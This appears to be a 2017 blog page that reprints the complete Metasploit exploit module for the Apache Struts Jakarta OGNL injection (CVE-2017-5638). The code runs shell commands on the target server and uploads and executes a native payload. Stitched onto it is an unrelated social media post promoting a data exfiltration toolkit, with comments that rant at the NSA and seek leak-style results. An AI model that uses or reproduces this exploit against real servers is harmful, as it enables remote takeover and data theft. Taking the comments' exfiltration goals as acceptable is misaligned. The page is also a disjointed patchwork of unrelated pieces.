Saturday, August 19, 2017

This module exploits a remote code execution vunlerability in Apache Struts version 2.3.5 - 2.3.31, and 2.5 - 2.5.10. Remote Code Execution can be performed via http Content-Type header. Native payloads will be converted to executables and dropped in the server’s temp dir. If this fails, try a cmd/* payload, which won’t have to write to the disk.

Module Name

MSF:EXPLOIT/MULTI/HTTP/STRUTS2_CONTENT_TYPE_OGNL
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Apache Struts Jakarta Multipart Parser OGNL Injection',
      'Description'    => %q{
        This module exploits a remote code execution vunlerability in Apache Struts
        version 2.3.5 - 2.3.31, and 2.5 - 2.5.10. Remote Code Execution can be performed
        via http Content-Type header.

        Native payloads will be converted to executables and dropped in the
        server's temp dir. If this fails, try a cmd/* payload, which won't
        have to write to the disk.
      },
      'Author'         => [
        'Nike.Zheng', # PoC
        'Nixawk',     # Metasploit module
        'Chorder',    # Metasploit module
        'egypt',      # combining the above
        'Jeffrey Martin', # Java fu
      ],
      'References'     => [
        ['CVE', '2017-5638'],
        ['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-045']
      ],
      'Privileged'     => true,
      'Targets'        => [
        [
          'Universal', {
            'Platform'   => %w{ unix windows linux },
            'Arch'       => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
          },
        ],
      ],
      'DisclosureDate' => 'Mar 07 2017',
      'DefaultTarget'  => 0))

      register_options(
        [
          Opt::RPORT(8080),
          OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/struts2-showcase/' ]),
        ]
      )
      register_advanced_options(
        [
          OptString.new('HTTPMethod', [ true, 'The HTTP method to send in the request. Cannot contain spaces', 'GET' ])
        ]
      )

    @data_header = "X-#{rand_text_alpha(4)}"
  end

  def check
    var_a = rand_text_alpha_lower(4)

    ognl = ""
    ognl << %q|(#os=@java.lang.System@getProperty('os.name')).|
    ognl << %q|(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('|+var_a+%q|', #os))|

    begin
      resp = send_struts_request(ognl)
    rescue Msf::Exploit::Failed
      return Exploit::CheckCode::Unknown
    end

    if resp && resp.code == 200 && resp.headers[var_a]
      vprint_good("Victim operating system: #{resp.headers[var_a]}")
      Exploit::CheckCode::Vulnerable
    else
      Exploit::CheckCode::Safe
    end
  end

  def exploit
    case payload.arch.first
    #when ARCH_JAVA
    #  datastore['LHOST'] = nil
    #  resp = send_payload(payload.encoded_jar)
    when ARCH_CMD
      resp = execute_command(payload.encoded)
    else
      resp = send_payload(generate_payload_exe)
    end
  end

  def send_struts_request(ognl, extra_header: '')
    uri = normalize_uri(datastore["TARGETURI"])
    content_type = "%{(#_='multipart/form-data')."
    content_type << "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
    content_type << "(#_memberAccess?"
    content_type << "(#_memberAccess=#dm):"
    content_type << "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
    content_type << "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
    content_type << "(#ognlUtil.getExcludedPackageNames().clear())."
    content_type << "(#ognlUtil.getExcludedClasses().clear())."
    content_type << "(#context.setMemberAccess(#dm))))."
    content_type << ognl
    content_type << "}"

    headers = { 'Content-Type' => content_type }
    if extra_header
      headers[@data_header] = extra_header
    end

    #puts content_type.gsub(").", ").\n")
    #puts

    resp = send_request_cgi(
      'uri'     => uri,
      'method'  => datastore['HTTPMethod'],
      'headers' => headers
    )

    if resp && resp.code == 404
      fail_with(Failure::BadConfig, 'Server returned HTTP 404, please double check TARGETURI')
    end
    resp
  end

  def execute_command(cmd)
    ognl = ''
    ognl << %Q|(#cmd=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{@data_header}')).|

    # You can add headers to the server's response for debugging with this:
    #ognl << %q|(#r=#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']).|
    #ognl << %q|(#r.addHeader('decoded',#cmd)).|

    ognl << %q|(#os=@java.lang.System@getProperty('os.name')).|
    ognl << %q|(#cmds=(#os.toLowerCase().contains('win')?{'cmd.exe','/c',#cmd}:{'/bin/sh','-c',#cmd})).|
    ognl << %q|(#p=new java.lang.ProcessBuilder(#cmds)).|
    ognl << %q|(#p.redirectErrorStream(true)).|
    ognl << %q|(#process=#p.start())|

    send_struts_request(ognl, extra_header: cmd)
  end

  def send_payload(exe)

    ognl = ""
    ognl << %Q|(#data=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{@data_header}')).|
    ognl << %Q|(#f=@java.io.File@createTempFile('#{rand_text_alpha(4)}','.exe')).|
    #ognl << %q|(#r=#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']).|
    #ognl << %q|(#r.addHeader('file',#f.getAbsolutePath())).|
    ognl << %q|(#f.setExecutable(true)).|
    ognl << %q|(#f.deleteOnExit()).|
    ognl << %q|(#fos=new java.io.FileOutputStream(#f)).|

    # Using stuff from the sun.* package here means it likely won't work on
    # non-Oracle JVMs, but the b64 decoder in Apache Commons doesn't seem to
    # work and I don't see a better way of getting binary data onto the
    # system. =/
    ognl << %q|(#d=new sun.misc.BASE64Decoder().decodeBuffer(#data)).|
    ognl << %q|(#fos.write(#d)).|
    ognl << %q|(#fos.close()).|

    ognl << %q|(#p=new java.lang.ProcessBuilder({#f.getAbsolutePath()})).|
    ognl << %q|(#p.start()).|
    ognl << %q|(#f.delete())|

    send_struts_request(ognl, extra_header: [exe].pack("m").delete("\n"))
  end
end

=begin
Doesn't work:

    ognl << %q|(#cl=new java.net.URLClassLoader(new java.net.URL[]{#f.toURI().toURL()})).|
    ognl << %q|(#c=#cl.loadClass('metasploit.Payload')).|
    ognl << %q|(#m=@ognl.OgnlRuntime@getMethods(#c,'main',true).get(0)).|
    ognl << %q|(#r.addHeader('meth',#m.toGenericString())).|
    ognl << %q|(#m.invoke(null,null)).|

    #ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('java.lang.Object'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
    #ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('java.lang.String'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
    #ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('[Ljava.lang.Object;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
    #ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('[Ljava.lang.String;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
    #ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{})).|
    #ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('java.lang.Object')})).|
    #ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('java.lang.String')})).|
    #ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('java.lang.String')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926
    #ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).|
    #ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@684b3dfd
    #ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{null})).|
    #ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('java.lang.Object')})).|
    #ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('java.lang.String')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926
    #ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).|
    #ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@684b3dfd
    #ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{})).|      # java.lang.IllegalArgumentException: java.lang.ClassCastException@4b232ba9
    #ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{null})).|      # java.lang.IllegalArgumentException: java.lang.ClassCastException@4b232ba9
    #ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{null})).|  # java.lang.IllegalArgumentException: java.lang.ClassCastException@4fee2899
    #ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[])).|        # parse failed
    #ognl << %q|(#m=#c.getMethod('run',null)).|                          # java.lang.IllegalArgumentException: java.lang.ClassCastException@50af0cd6

    #ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('java.lang.Object'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
    #ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('java.lang.String'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
    #ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('[Ljava.lang.Object;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
    #ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('[Ljava.lang.String;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@2231d3a9
    #ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{})).|
    #ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('java.lang.Object')})).|
    #ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('java.lang.String')})).|
    #ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).|
    #ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@684b3dfd
    #ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{null})).|
    #ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('java.lang.Object')})).|
    #ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('java.lang.String')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926
    #ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).|
    #ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926
    #ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{})).|     # java.lang.IllegalArgumentException: java.lang.ClassCastException@5f78809f
    #ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{null})).|      # java.lang.IllegalArgumentException: java.lang.ClassCastException@4b232ba9
    #ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{null})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@56c6add5
    #ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[])).|       # parse failed
    #ognl << %q|(#m=#c.getMethod('main',null)).|                         # java.lang.IllegalArgumentException: java.lang.ClassCastException@1722884

=end

DET (is provided AS IS), is a proof of concept to perform Data Exfiltration using either single or multiple channel(s) at the same time.

ok...DET (is provided AS IS), is a proof of concept to perform Data Exfiltration using either single or multiple channel(s) at the same time.
This is a Proof of Concept aimed at identifying possible DLP failures. This should never be used to exfiltrate sensitive/live data (say on an assessment)
(extensible) Data Exfiltration Toolkit (DET)
GITHUB.COM
GostoMostrar mais reações
Comentar
Comentários
Elsa David NSA - National Security Agency you are infiltrated on the darkweb, and you use that network to perform you're own espionage...you in fact have possibilty to fuck this "system" the question is...you are all friends of piece of chit politicians jerks
GostoMostrar mais reações
Responder2 minEditado
Gerir
Elsa David this DET tool is a state of art Wikileaks and I pretend to have results on 24 hours
GostoMostrar mais reações
Responder